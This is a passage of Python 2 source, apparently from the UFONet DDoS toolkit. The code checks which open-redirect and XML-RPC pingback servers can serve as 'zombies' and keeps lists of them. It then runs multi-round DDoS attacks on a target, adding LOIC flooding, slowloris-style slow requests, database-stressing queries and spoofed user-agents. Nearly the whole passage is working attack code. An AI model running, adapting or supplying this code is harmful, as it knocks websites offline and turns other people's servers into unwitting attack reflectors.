  2137. f = open(self.zombies_file)
  2138. zombies = f.readlines()
  2139. zombies = [ zombie.replace('\n','') for zombie in zombies ]
  2140. f.close()
  2141. if not zombies:
  2142. print "\n[Error] - Imposible to retrieve 'zombies' from file.\n"
  2143. return
  2144. else:
  2145. return zombies
  2146. except:
  2147. if os.path.exists(self.zombies_file) == True:
  2148. print '\n[Error] - Cannot open:', 'zombies.txt', "\n"
  2149. return #sys.exit(2)
  2150. else:
  2151. print '\n[Error] - Cannot found:', 'zombies.txt', "\n"
  2152. return #sys.exit(2)
  2153. def update_zombies(self, zombies_ready):
  2154. # update zombies on file
  2155. options = self.options
  2156. if options.attackme:
  2157. f = open(self.zombies_file, "w") # re-write list
  2158. for zombie in self.doll.real_zombies: # add only alien verified zombies
  2159. for x in zombie:
  2160. f.write(str(x) + os.linesep)
  2161. f.close()
  2162. if options.test or options.testall:
  2163. if not options.test:
  2164. options.test = self.zombies_file
  2165. f = open(options.test, "w") # re-write list only with zombies ready
  2166. for zombie in zombies_ready:
  2167. f.write(zombie + os.linesep)
  2168. f.close()
  2169. if options.search or options.dorks or options.autosearch or options.download: # append only new zombies to list (dorking supported)
  2170. f = open(self.zombies_file)
  2171. zombies_on_file = f.read().splitlines()
  2172. with open(self.zombies_file, "a") as zombie_list:
  2173. for zombie in zombies_ready:
  2174. if zombie not in zombies_on_file: # parse possible repetitions
  2175. zombie_list.write(zombie + os.linesep)
  2176. if options.download:
  2177. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  2178. else:
  2179. self.scanned_zombies = self.scanned_zombies + 1 # update scanner stats only with new zombies (dorking)
  2180. f.close()
  2181. def update_aliens(self, aliens_ready):
  2182. # update aliens on file
  2183. options = self.options
  2184. if options.download: # append only new aliens to list
  2185. f = open(self.aliens_file)
  2186. aliens_on_file = f.read().splitlines()
  2187. with open(self.aliens_file, "a") as alien_list:
  2188. for alien in aliens_ready:
  2189. if alien not in aliens_on_file: # parse possible repetitions
  2190. alien_list.write(alien + os.linesep)
  2191. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  2192. f.close()
  2193. def update_droids(self, droids_ready):
  2194. # update droids on file
  2195. options = self.options
  2196. if options.download: # append only new droids to list
  2197. f = open(self.droids_file)
  2198. droids_on_file = f.read().splitlines()
  2199. with open(self.droids_file, "a") as droid_list:
  2200. for droid in droids_ready:
  2201. if droid not in droids_on_file: # parse possible repetitions
  2202. droid_list.write(droid + os.linesep)
  2203. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  2204. f.close()
  2205. def update_ucavs(self, ucavs_ready):
  2206. # update ucavs on file
  2207. options = self.options
  2208. if options.download: # append only new ucavs to list
  2209. f = open(self.ucavs_file)
  2210. ucavs_on_file = f.read().splitlines()
  2211. with open(self.ucavs_file, "a") as ucav_list:
  2212. for ucav in ucavs_ready:
  2213. if ucav not in ucavs_on_file: # parse possible repetitions
  2214. ucav_list.write(ucav + os.linesep)
  2215. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  2216. f.close()
  2217. def update_rpcs(self, rpcs_ready):
  2218. # update rpcs on file
  2219. options = self.options
  2220. if options.testrpc or options.testall:
  2221. f = open(self.rpcs_file, "w") # re-write list
  2222. for rpc in rpcs_ready: # add only rpc verified zombies
  2223. f.write(rpc + os.linesep)
  2224. f.close()
  2225. if options.download: # append only new rpcs to list
  2226. f = open(self.rpcs_file)
  2227. rpcs_on_file = f.read().splitlines()
  2228. with open(self.rpcs_file, "a") as rpc_list:
  2229. for rpc in rpcs_ready:
  2230. if rpc not in rpcs_on_file: # parse possible repetitions
  2231. rpc_list.write(rpc + os.linesep)
  2232. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  2233. f.close()
  2234. def search_rpc(self, rpc_host):
  2235. rpc_vulnerable = False
  2236. rpc_pingback_url = False
  2237. self.user_agent = random.choice(self.agents).strip() # suffle user-agent
  2238. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2239. try:
  2240. if self.options.testall: # testing_all
  2241. req = urllib2.Request(rpc_host, None, headers)
  2242. rpc_code = urllib2.urlopen(req).read()
  2243. rpc_links = re.findall('"((http|ftp)s?://.*?)"', rpc_code)
  2244. for link in rpc_links:
  2245. if 'xmlrpc.php' in link[0] and not "rsd" in link[0]: # extract rpc server url (discarding 'rsd' url)
  2246. rpc_pingback_url = link[0]
  2247. rpc_vulnerable = True
  2248. break # found it!
  2249. else: # not any XML-RPC discovering methods are working
  2250. rpc_pingback_url = rpc_host + "/xmlrpc.php"
  2251. rpc_vulnerable = False
  2252. else:
  2253. if rpc_host.startswith("http://"):
  2254. rpc_host = rpc_host.replace("http://", "")
  2255. if rpc_host.startswith("https://"):
  2256. rpc_host = rpc_host.replace("https://", "")
  2257. rpc_host = urlparse(rpc_host)
  2258. rpc_path = rpc_host.path.replace("\r", "")
  2259. self.head = True # send HTTP HEAD request searching for: X-Pingback
  2260. reply = self.connect_zombie(rpc_path)
  2261. self.head = False
  2262. if "X-Pingback" in reply: # discovering pingback-enabled resources
  2263. m = re.search('X-Pingback: (.+?)\n', reply) # regex magics
  2264. rpc_pingback_url = m.group(1) # extract rpc server url
  2265. rpc_vulnerable = True
  2266. else: # not X-Pingback on HTTP Headers (search for <link rel="pingback"... on HTML/XHTML code)
  2267. req_rpc = urllib2.Request(rpc_host, None, headers)
  2268. req_rpc.get_method = lambda : 'GET'
  2269. rpc_code = urllib2.urlopen(req_rpc).read()
  2270. rpc_links = re.findall('"((http|ftp)s?://.*?)"', rpc_code)
  2271. for link in rpc_links:
  2272. if 'xmlrpc.php' in link[0] and not "rsd" in link[0]: # extract rpc server url (discarding 'rsd' url)
  2273. rpc_pingback_url = link[0]
  2274. rpc_vulnerable = True
  2275. break # found it!
  2276. else: # not any XML-RPC discovering methods are working
  2277. rpc_pingback_url = rpc_host + "/xmlrpc.php"
  2278. rpc_vulnerable = False
  2279. except: # something wrong discovering XML-RPC Pingback
  2280. rpc_vulnerable = False
  2281. rpc_pingback_url = False
  2282. return rpc_vulnerable, rpc_pingback_url
  2283. def testing_offline(self):
  2284. # check for zombies offline
  2285. print ("\nChecking for 'zombies' offline!\n")
  2286. print '='*35
  2287. zombies_online = 0
  2288. zombies_offline = 0
  2289. zombies = self.extract_zombies()
  2290. rpcs = self.extract_rpcs()
  2291. aliens = self.extract_aliens()
  2292. droids = self.extract_droids()
  2293. ucavs = self.extract_ucavs()
  2294. try:
  2295. botnet = zombies + rpcs + aliens + droids + ucavs
  2296. except:
  2297. return
  2298. discarded = [] # for discarded zombies
  2299. if not botnet:
  2300. return
  2301. self.head = True
  2302. for zombie in botnet:
  2303. zombie = str(zombie)
  2304. if zombie in zombies: # set zombie type (this way because cannot be same zombie with different type)
  2305. zombie_type = 'Zombie'
  2306. elif zombie in rpcs:
  2307. zombie_type = 'XML-RPC'
  2308. elif zombie in aliens:
  2309. zombie_type = 'Alien'
  2310. elif zombie in droids:
  2311. zombie_type = 'Droid'
  2312. elif zombie in ucavs:
  2313. zombie_type = 'UCAV'
  2314. t = urlparse(zombie)
  2315. name_zombie = t.netloc
  2316. if zombie_type == 'Alien': # 'Aliens' are made with keyword ;$POST;
  2317. sep = ';$POST;'
  2318. zombie = zombie.split(sep, 1)[0]
  2319. reply = str(self.connect_zombie(zombie))
  2320. if reply == "200" or reply == "302" or reply == "301" or reply == "401" or reply == "403" or reply == "405" or reply == '500':
  2321. status = "ONLINE!"
  2322. zombies_online = zombies_online + 1
  2323. else:
  2324. status = "NOT Working!"
  2325. zombies_offline = zombies_offline + 1
  2326. print "\nName:", name_zombie
  2327. print "Type: [", zombie_type, "]"
  2328. print "Vector:", zombie
  2329. print "HTTP Code:", reply
  2330. print "STATUS:", status
  2331. print '-'*21
  2332. if status == "NOT Working!": # add to discarded zombies
  2333. if zombie not in discarded:
  2334. discarded.append(zombie)
  2335. print "\n" + '='*52
  2336. print "\n+ Total Botnet:", len(botnet)
  2337. print "\n" + '-'*25 + "\n"
  2338. print " - ONLINE:", zombies_online
  2339. print " - OFFLINE:", zombies_offline, "\n"
  2340. print '='*52 + '\n'
  2341. self.head = False
  2342. if zombies_offline > 0:
  2343. if not self.options.forceyes:
  2344. test_reply = raw_input("Want to update your army? (Y/n)\n")
  2345. print '-'*25 + "\n"
  2346. else:
  2347. test_reply = "Y"
  2348. if test_reply == "n" or test_reply == "N":
  2349. print "Bye!\n"
  2350. return
  2351. else:
  2352. disc_zombies = self.discard_zombies(discarded) # discard zombies from botnet (remove from files)
  2353. print '='*52
  2354. print "\n - DISCARDED:", disc_zombies
  2355. new_botnet = int(len(botnet) - disc_zombies)
  2356. print "\n+ New Total Botnet:", str(new_botnet), "\n"
  2357. print '='*52 + '\n'
  2358. else:
  2359. print "[Info] ALL checked 'zombies' are ONLINE... Exiting!\n"
  2360. def discard_zombies(self, discarded):
  2361. disc_zombies = 0
  2362. zombies_list = [self.zombies_file, self.aliens_file, self.droids_file, self.ucavs_file, self.rpcs_file]
  2363. for l in zombies_list:
  2364. f = open(l, "r+")
  2365. d = f.readlines()
  2366. f.close()
  2367. f = open(l, "w")
  2368. disc_zombies = self.remove_discarded_zombies(f, d, discarded, disc_zombies)
  2369. f.close()
  2370. return disc_zombies
  2371. def remove_discarded_zombies(self, f, d, discarded, disc_zombies):
  2372. m = []
  2373. for zombie_disc in discarded:
  2374. if zombie_disc.endswith(os.linesep):
  2375. zombie_disc = zombie_disc.replace(os.linesep, "")
  2376. elif zombie_disc.endswith("\r"):
  2377. zombie_disc = zombie_disc.replace("\r", "")
  2378. elif zombie_disc.endswith("\r" + os.linesep):
  2379. zombie_disc = zombie_disc.replace("\r" + os.linesep, "")
  2380. for z in d:
  2381. if z.endswith(os.linesep):
  2382. z = z.replace(os.linesep, "")
  2383. elif z.endswith("\r"):
  2384. z = z.replace("\r", "")
  2385. elif z.endswith("\r" + os.linesep):
  2386. z = z.replace("\r" + os.linesep, "")
  2387. if z == zombie_disc:
  2388. disc_zombies = disc_zombies + 1
  2389. else:
  2390. if z not in m and z not in discarded:
  2391. m.append(z)
  2392. if not m:
  2393. f.write("")
  2394. else:
  2395. for z in m:
  2396. f.write(z+os.linesep)
  2397. return disc_zombies
  2398. def testing_rpcs(self, rpcs):
  2399. # discover/test XML-RPC Pingback vulnerabilities on webapps (Wordpress, Drupal, PostNuke, b2evolution,
  2400. # Xoops, PHPGroupWare, TikiWiki, etc...) and update list
  2401. if self.options.testall: #testing_all
  2402. print '='*51
  2403. print ("Are 'plasma' reflectors ready? :-) (XML-RPC Check):")
  2404. print '='*51
  2405. num_active_rpcs = 0
  2406. num_failed_rpcs = 0
  2407. rpcs_ready = []
  2408. print "Trying:", len(rpcs)
  2409. print '-'*21
  2410. for rpc in rpcs:
  2411. self.user_agent = random.choice(self.agents).strip() # suffle user-agent
  2412. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2413. if rpc.startswith("http://") or rpc.startswith("https://"):
  2414. print "Searching 'Pingback' on", rpc
  2415. rpc_host = rpc.replace("/xmlrpc.php", "")
  2416. rpc_vulnerable, rpc_pingback_url = self.search_rpc(rpc_host)
  2417. if rpc_vulnerable == True: # discover XML-RPC system.listMethods allowed
  2418. rpc_methods = "<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>"
  2419. try:
  2420. req = urllib2.Request(rpc_pingback_url, rpc_methods, headers)
  2421. target_reply = urllib2.urlopen(req, context=self.ctx).read()
  2422. if self.options.verbose:
  2423. print "Reply:", target_reply
  2424. if "pingback.ping" in target_reply: # XML-RPC pingback.ping method is allowed!
  2425. print "\n[Info] It looks VULNERABLE !!! ;-)"
  2426. rpcs_ready.append(rpc_pingback_url) # save XML-RPC path as RPC zombie
  2427. num_active_rpcs = num_active_rpcs + 1 # add fail to rpcs stats
  2428. else:
  2429. print "\n[Info] It is NOT vulnerable..."
  2430. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  2431. except:
  2432. print "[Error] X-RPC: " + rpc + " -> FAILED (cannot connect!)"
  2433. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  2434. else:
  2435. print "\n[Info] It is NOT vulnerable..."
  2436. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  2437. print '-'*10
  2438. print '='*18
  2439. print "OK:", num_active_rpcs, "Fail:", num_failed_rpcs
  2440. print '='*18
  2441. if self.options.testall: # testing_all
  2442. return rpcs_ready, num_active_rpcs, num_failed_rpcs
  2443. else:
  2444. # update 'rpcs' list
  2445. if num_active_rpcs == 0:
  2446. print "\n[Info] - Not any vulnerable 'rpc' active!\n"
  2447. return #sys.exit(2)
  2448. else:
  2449. if not self.options.forceyes:
  2450. update_reply = raw_input("Want to update your army? (Y/n)")
  2451. print '-'*25
  2452. else:
  2453. update_reply = "Y"
  2454. if update_reply == "n" or update_reply == "N":
  2455. print "\nBye!\n"
  2456. return #sys.exit(2)
  2457. else:
  2458. self.update_rpcs(rpcs_ready)
  2459. if not self.options.upload:
  2460. print "\n[Info] - Botnet updated! ;-)\n"
  2461. def testing(self, zombies):
  2462. # test Open Redirect vulnerabilities on webapps and show statistics
  2463. # HTTP HEAD check
  2464. army = 0
  2465. print ("Are 'they' alive? :-) (HEAD Check):")
  2466. print '='*35
  2467. num_active_zombies = 0
  2468. num_failed_zombies = 0
  2469. active_zombies = []
  2470. print "Trying:", len(zombies)
  2471. print '-'*21
  2472. for zombie in zombies:
  2473. zombie = str(zombie)
  2474. if zombie.startswith("http://") or zombie.startswith("https://"):
  2475. # send HEAD connection
  2476. self.head = True
  2477. reply = self.connect_zombies(zombie)
  2478. while self.herd.no_more_zombies() == False:
  2479. time.sleep(1)
  2480. for zombie in self.herd.done:
  2481. zombie = str(zombie)
  2482. t = urlparse(zombie)
  2483. if self.herd.get_result(zombie):
  2484. code_reply = self.herd.get_result(zombie)
  2485. self.head = False
  2486. if code_reply == "200" or code_reply == "302" or code_reply == "301" or code_reply == "401" or code_reply == "403" or code_reply == "405":
  2487. name_zombie = t.netloc
  2488. print "Zombie:", name_zombie
  2489. print "Status: Ok ["+ code_reply + "]"
  2490. num_active_zombies = num_active_zombies + 1
  2491. active_zombies.append(zombie)
  2492. elif code_reply == "404":
  2493. print "Zombie:", t.netloc
  2494. print "Status: Not Found ["+ code_reply + "]"
  2495. num_failed_zombies = num_failed_zombies + 1
  2496. else:
  2497. print "Zombie:", t.netloc, "\nVector:", zombie
  2498. print "Status: Not Allowed ["+ code_reply + "]"
  2499. num_failed_zombies = num_failed_zombies + 1
  2500. else:
  2501. if self.options.verbose:
  2502. print "Reply:", "\n\nNothing!!!!!\n"
  2503. print "Zombie:", zombie
  2504. print "Status: Malformed!"
  2505. num_failed_zombies = num_failed_zombies + 1
  2506. print '-'*10
  2507. self.herd.reset()
  2508. print '='*18
  2509. print "OK:", num_active_zombies, "Fail:", num_failed_zombies
  2510. print '='*18 + "\n"
  2511. print '='*22
  2512. # check url parameter vectors
  2513. print ("Checking for payloads:")
  2514. print '='*22
  2515. print "Trying:", num_active_zombies
  2516. print '-'*21
  2517. zombies_ready = []
  2518. num_waiting_zombies = 0
  2519. if num_active_zombies == 0:
  2520. num_disconnected_zombies = num_failed_zombies
  2521. else:
  2522. num_disconnected_zombies = 0
  2523. for zombie in active_zombies:
  2524. zombie = str(zombie)
  2525. t = urlparse(zombie)
  2526. name_zombie = t.netloc
  2527. self.payload = True
  2528. try:
  2529. self.connect_zombies(zombie)
  2530. except:
  2531. pass
  2532. self.payload = False
  2533. time.sleep(1)
  2534. while self.herd.no_more_zombies() == False:
  2535. time.sleep(1)
  2536. for zombie in self.herd.done:
  2537. zombie = str(zombie)
  2538. t = urlparse(zombie)
  2539. name_zombie = t.netloc
  2540. payload_zombie = zombie
  2541. payload_reply = ""
  2542. print "Vector:", payload_zombie
  2543. self.payload = True
  2544. if self.herd.get_result(zombie):
  2545. payload_reply = self.herd.get_result(zombie)
  2546. self.payload = False
  2547. if "https://www.whitehouse.gov" in payload_reply: #Open Redirect reply [requested by all UFONet motherships ;-)]
  2548. num_waiting_zombies = num_waiting_zombies + 1
  2549. print "Status:", "Waiting for orders..."
  2550. zombies_ready.append(zombie)
  2551. else:
  2552. num_disconnected_zombies = num_disconnected_zombies + 1
  2553. print "Status:", "Not ready..."
  2554. army = army + 1
  2555. print '-'*10
  2556. self.herd.reset()
  2557. print '='*18
  2558. print "OK:", num_waiting_zombies, "Fail:", num_disconnected_zombies
  2559. print '='*18 + "\n"
  2560. # list of 'zombies' ready to attack
  2561. num_active_zombie = 0
  2562. for z in zombies_ready:
  2563. t = urlparse(z)
  2564. name_zombie = t.netloc
  2565. num_active_zombie = num_active_zombie + 1
  2566. if self.options.verbose:
  2567. print "Zombie [", num_active_zombie, "]:", name_zombie + "\n"
  2568. if self.options.testall: # testing_all
  2569. return zombies_ready, num_waiting_zombies, num_disconnected_zombies + num_failed_zombies
  2570. else:
  2571. print '-'*25 + "\n"
  2572. print '='*24
  2573. print "Working 'zombies':", num_active_zombie
  2574. print '='*24
  2575. if not self.options.forceyes:
  2576. update_reply = raw_input("\nWant to update your army? (Y/n)")
  2577. print '-'*25
  2578. else:
  2579. update_reply = "Y"
  2580. if update_reply == "n" or update_reply == "N":
  2581. print "\nBye!\n"
  2582. return #sys.exit(2)
  2583. else:
  2584. self.update_zombies(zombies_ready)
  2585. if not self.options.upload:
  2586. print "\n[Info] - Botnet updated! ;-)\n"
  2587. self.update_scanner_stats(self.scanned_zombies) # update json file with scanner stats (found via dorking)
  2588. def testing_all(self):
  2589. # test whole botnet
  2590. print ("\nChecking if ALL your zombies are still infected (WARNING: this may take serveral time!)\n")
  2591. print '='*35
  2592. zombies = self.extract_zombies()
  2593. rpcs = self.extract_rpcs()
  2594. aliens = self.extract_aliens()
  2595. droids = self.extract_droids()
  2596. ucavs = self.extract_ucavs()
  2597. try:
  2598. botnet = zombies + rpcs + aliens + droids + ucavs
  2599. tested_zombies = zombies + rpcs # test types supported: zombies + xml-rpcs
  2600. except:
  2601. return
  2602. zombies_ready, num_waiting_zombies, num_disconnected_zombies = self.testing(zombies)
  2603. rpcs_ready, num_active_rpcs, num_failed_rpcs = self.testing_rpcs(rpcs)
  2604. print "\n" + '='*52
  2605. print "\n+ Total Botnet:", len(botnet)
  2606. print "\n" + '-'*25
  2607. print "\n+ Total Tested:", len(tested_zombies)
  2608. print "\n - Zombies :", len(zombies), " [ OK:", str(num_waiting_zombies), "| FAILED:", str(num_disconnected_zombies), "]"
  2609. print " - XML-RPCs:", len(rpcs), " [ OK:", str(num_active_rpcs), "| FAILED:", str(num_failed_rpcs), "]" + "\n"
  2610. print '='*52 + '\n'
  2611. if num_disconnected_zombies > 0 or num_failed_rpcs > 0:
  2612. if not self.options.forceyes:
  2613. update_reply = raw_input("Want to update your army? (Y/n)")
  2614. print '-'*25
  2615. else:
  2616. update_reply = "Y"
  2617. if update_reply == "n" or update_reply == "N":
  2618. print "\nBye!\n"
  2619. return #sys.exit(2)
  2620. else:
  2621. if num_disconnected_zombies > 0:
  2622. self.update_zombies(zombies_ready)
  2623. if num_failed_rpcs > 0:
  2624. self.update_rpcs(rpcs_ready)
  2625. if not self.options.upload:
  2626. print "\n[Info] - Botnet updated! ;-)\n"
  2627. else:
  2628. print "[Info] ALL tested 'zombies' are working... Exiting!\n"
  2629. def attacking(self, zombies):
  2630. # perform a DDoS Web attack against a target, using Open Redirect vectors (and other Web Abuse services) as 'zombies'
  2631. target = self.options.target
  2632. if target.startswith("https://"):
  2633. target = target.replace("https://", "http://") # change target to 'http' (to evade a possible invalid SSL certificate)
  2634. if target.startswith("http://"):
  2635. print "Attacking: ", target
  2636. print '='*55, "\n"
  2637. # send Open Redirect injection (multiple zombies > one target url)
  2638. reply = self.injection(target, zombies)
  2639. else:
  2640. print "\n[Error] - Target url not valid! -> It should starts with 'http(s)://'\n"
  2641. def stressing(self, target, zombie):
  2642. # perform a DDoS Web attack against a target, requesting records on target's database
  2643. db_input = self.options.dbstress
  2644. def random_key(length):
  2645. key = ''
  2646. for i in range(length):
  2647. key += random.choice(string.lowercase + string.uppercase + string.digits)
  2648. return key
  2649. # generating random alphanumeric queries
  2650. if self.db_flash > 9: # set db flash start on: 10
  2651. length = 1024 # search a heavy random length query (db flash): 1024
  2652. self.db_flash = 0 # reset db flash counter
  2653. else:
  2654. length = 1 # search for one different (alphanumeric) character each time will produces more positive results on db
  2655. key = str(random_key(length))
  2656. if self.db_flash > 9:
  2657. print "\n[Info] Trying database request to: " + db_input + " | Query used: db flash! " + "(" + str(length) + " chars)"
  2658. else:
  2659. print "\n[Info] Trying database request to: " + db_input + " | Query used: " + key
  2660. self.user_agent = random.choice(self.agents).strip() # suffle user-agent
  2661. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2662. if not target.endswith('/'): # add "/" to end of target
  2663. target = target + "/"
  2664. url = zombie + target + db_input + key
  2665. req = urllib2.Request(url, None, headers)
  2666. try:
  2667. req_reply = urllib2.urlopen(req).read()
  2668. except urllib2.HTTPError, e:
  2669. if e.code == 401:
  2670. print '[Info] Not authorized'
  2671. elif e.code == 404:
  2672. print '[Info] Not found'
  2673. elif e.code == 503:
  2674. print '[Info] Service unavailable'
  2675. else:
  2676. print '[Info] Unknown error'
  2677. else:
  2678. print '[Info] DB query: Hit!'
  2679. def attackme(self, zombies):
  2680. # perform a DDoS Web attack against yourself
  2681. print "Starting local port to listening at: " + self.port + "\n"
  2682. print '='*21 + "\n"
  2683. self.doll=Doll(self)
  2684. self.doll.start()
  2685. while not self.doll._armed:
  2686. time.sleep(1)
  2687. # send Open Redirect injection (multiple zombies-multiple target urls)
  2688. target = ""
  2689. self.injection(target, zombies)
  2690. self.doll.shutdown()
  2691. self.doll.join()
  2692. self.herd.list_fails()
  2693. def injection(self, target, zombies, head_check = True):
  2694. options = self.options
  2695. head_check_here = False
  2696. head_check_external = False
  2697. print '='*21
  2698. if options.disablehead: # check at start is disabled (skipping!)
  2699. print "\n[Info] Skipping external check of target's status...\n"
  2700. head_check_here = True
  2701. head_check_external = True
  2702. else:
  2703. if head_check:
  2704. if not options.attackme:
  2705. print "Round: 'Is target up?'"
  2706. print '='*21
  2707. try: # send HEAD connection
  2708. self.head = True
  2709. reply = self.connect_zombie(target)
  2710. self.head = False
  2711. if reply:
  2712. print "[Info] From here: YES"
  2713. head_check_here = True
  2714. else:
  2715. print "[Info] From Here: NO | Report: From here your target looks DOWN!"
  2716. head_check_here = False
  2717. except Exception:
  2718. print "[Error] From Here: NO | Report: Check failed from your connection..."
  2719. if self.options.verbose:
  2720. traceback.print_exc()
  2721. head_check_here = False
  2722. else: # check if local IP/PORT is listening on mothership
  2723. print "Round: 'Is NAT ready?'"
  2724. print '='*21
  2725. try:
  2726. sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
  2727. result = sock.connect_ex(('0.0.0.0',8080))
  2728. if result == 0 or result == 110: # tmp black magic
  2729. print "[Info] Local port: YES | Report: Mothership accesible on -private- IP: http://0.0.0.0:8080"
  2730. head_check_here = True
  2731. else:
  2732. print "[Error] Local port: NO | Report: Something wrong on your port: 8080"
  2733. head_check_here = False
  2734. except Exception:
  2735. print "[Error] Local port: NO | Report: Something wrong checking open port ;("
  2736. if self.options.verbose:
  2737. traceback.print_exc()
  2738. head_check_here = False
  2739. print '-'*21
  2740. else:
  2741. head_check_here = True
  2742. # check target on third part service
  2743. self.external = True
  2744. if not options.attackme:
  2745. try:
  2746. external_reply = self.connect_zombie(target)
  2747. if "It's just you" in external_reply: # parse from external service: http://www.downforeveryoneorjustme.com
  2748. print "[Info] From exterior: YES"
  2749. head_check_external = True
  2750. else: # parse from external service: http://isup.me
  2751. url = "http://isup.me/" + target
  2752. self.user_agent = random.choice(self.agents).strip() # suffle user-agent
  2753. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2754. req = urllib2.Request(url, None, headers)
  2755. req_reply = urllib2.urlopen(req).read()
  2756. if 'is up' in req_reply: # parse external service for reply
  2757. print "[Info] From exterior: YES"
  2758. head_check_external = True
  2759. else:
  2760. print "[Info] From exterior: NO | Report: From external services your target looks DOWN!"
  2761. head_check_external = False
  2762. except Exception:
  2763. print "[Error] From exterior: NO | Cannot reach external services from your network..."
  2764. head_check_external = False
  2765. else:
  2766. try: # check mothership from public ip / NAT using HEAD request
  2767. try:
  2768. conn = httplib.HTTPConnection(str(self.pub_ip), 8080, timeout=10)
  2769. conn.request("HEAD", "/")
  2770. reply = conn.getresponse()
  2771. except Exception:
  2772. reply = None
  2773. if reply:
  2774. print "[Info] From exterior: YES | Report: Mothership accesible from Internet ;-)"
  2775. head_check_external = True
  2776. else:
  2777. print "[Error] From exterior: NO | Report: Cannot access to mothership on -public- url:", target
  2778. head_check_external = False
  2779. head_check_here = False # stop attack if not public IP available
  2780. except Exception:
  2781. print "[Error] From exterior: NO | Report: Check failed from your connection..."
  2782. head_check_here = False # stop attack if not public IP available
  2783. if self.options.verbose:
  2784. traceback.print_exc()
  2785. head_check_external = False
  2786. print '-'*21
  2787. self.external = False
  2788. # ask for start the attack
  2789. if head_check_here == True or head_check_external == True:
  2790. if not self.options.forceyes:
  2791. if not options.attackme:
  2792. if not options.disablehead:
  2793. start_reply = raw_input("[Info] Your target looks ONLINE!. Want to start a DDoS attack? (y/N)\n")
  2794. else:
  2795. start_reply = raw_input("[Info] Want to start a DDoS attack directly? (y/N)\n")
  2796. else:
  2797. if not options.disablehead:
  2798. start_reply = raw_input("[Info] Your mothership looks READY!. Want to start a DDoS attack against yourself? (y/N)\n")
  2799. else:
  2800. start_reply = raw_input("[Info] Want to start a DDoS attack against yourself directly? (y/N)\n")
  2801. else:
  2802. start_reply = "Y"
  2803. if start_reply == "y" or start_reply == "Y":
  2804. if options.attackme:
  2805. total_rounds = "2" # default rounds for attackme
  2806. else:
  2807. total_rounds = options.rounds # extract number of rounds
  2808. if total_rounds <= "0":
  2809. total_rounds = "1"
  2810. self.herd.cleanup()
  2811. num_round = 1
  2812. num_hits = 0
  2813. num_zombie = 1
  2814. # start multi-threading DoS Web LOIC (Low Orbit Ion Cannon) with proxy support, if required
  2815. if self.options.loic:
  2816. try:
  2817. self.options.loic = int(self.options.loic)
  2818. except:
  2819. self.options.loic = 100 # default LOIC requests
  2820. if self.options.loic < 1:
  2821. self.options.loic = 100 # default LOIC requests
  2822. self.instance = LOIC() # instance main class for LOIC operations
  2823. t = threading.Thread(target=self.instance.attacking, args=(target, self.options.loic, self.options.proxy)) # attack with LOIC
  2824. t.daemon = True
  2825. t.start()
  2826. self.update_loic_stats() # add new LOIC attack to mothership
  2827. # start multi-threading DoS Slow+Poison HTTP requests (UFOLoris)
  2828. if self.options.slow:
  2829. try:
  2830. self.options.slow = int(self.options.slow)
  2831. except:
  2832. self.options.slow = 101 # default UFOLoris requests (apache -> max_clients: ~100 | nginx -> no limit (other method))
  2833. if self.options.slow < 1:
  2834. self.options.slow = 101 # default UFOLoris requests
  2835. self.instance = LORIS() # instance main class for UFOLoris operations
  2836. t = threading.Thread(target=self.instance.attacking, args=(target, self.options.slow)) # attack with UFOLoris
  2837. t.daemon = True
  2838. t.start()
  2839. self.update_loris_stats() # add new LORIS attack to mothership
  2840. time.sleep(5)
  2841. # start to attack the target with each zombie
  2842. zombies = self.extract_zombies() # extract zombies from file
  2843. total_zombie = len(zombies)
  2844. self.herd=Herd(self)
  2845. for i in range(0, int(total_rounds)):
  2846. print ("\x1b[2J\x1b[H")# clear screen (black magic)
  2847. print '='*42
  2848. print 'Starting round:', num_round, ' of ', total_rounds
  2849. print '='*42
  2850. if not self.options.disablealiens and not self.options.attackme: # different layers requests -> pure web abuse
  2851. send_aliens = self.send_aliens(target)
  2852. if not self.options.disabledroids and not self.options.attackme: # GET (with parameter required) requests
  2853. send_droids = self.send_droids(target)
  2854. if not self.options.disablerpcs and not self.options.attackme: # exploit XML-RPC pingback vulnerability
  2855. send_rpcs = self.send_rpcs(target)
  2856. shuffle(zombies) # suffle zombies order, each round :-)
  2857. self.herd.reset()
  2858. print "\n[Info] Sending your 'herd' of zombies...\n"
  2859. for zombie in zombies:
  2860. t = urlparse(zombie)
  2861. name_zombie = t.netloc
  2862. if not self.options.attackme:
  2863. print "[Info] Attacking from: " + name_zombie
  2864. else: # on attackme target url is dynamic -> http://public_ip:port/hash|zombie
  2865. self.mothership_hash = random.getrandbits(128) # generating random evasion hash
  2866. target = "http://" + str(self.pub_ip) + ":" + self.port + "/"+ str(self.mothership_hash) + "|" + zombie
  2867. self.options.target = target
  2868. print "Attacking: " + str(self.pub_ip) + ":" + self.port + " -> [LAN]" + self.local_ip + ":" + self.port
  2869. print "Payload: " + target
  2870. print '='*55, "\n"
  2871. self.attack_mode = True
  2872. self.user_agent = random.choice(self.agents).strip() # suffle user-agent
  2873. if not options.target.startswith('http'):
  2874. options.target = "http://" + options.target
  2875. self.connect_zombies(zombie)
  2876. if self.options.dbstress: # try to stress db on target by using vulnerable Open Redirect web servers
  2877. self.db_flash = self.db_flash + 1
  2878. stress = self.stressing(target, zombie)
  2879. time.sleep(1)
  2880. for zombie in self.herd.done:
  2881. if self.herd.connection_failed(zombie) == False:
  2882. num_hits = num_hits + 1
  2883. num_zombie = num_zombie + 1
  2884. if num_zombie > total_zombie:
  2885. num_zombie = 1
  2886. while self.herd.no_more_zombies() == False:
  2887. time.sleep(1)
  2888. num_round = num_round + 1
  2889. if not self.options.disableisup and not self.options.attackme: # perform an external 'is target up?' check
  2890. check_is_up = self.check_is_up(target)
  2891. print "-"*21
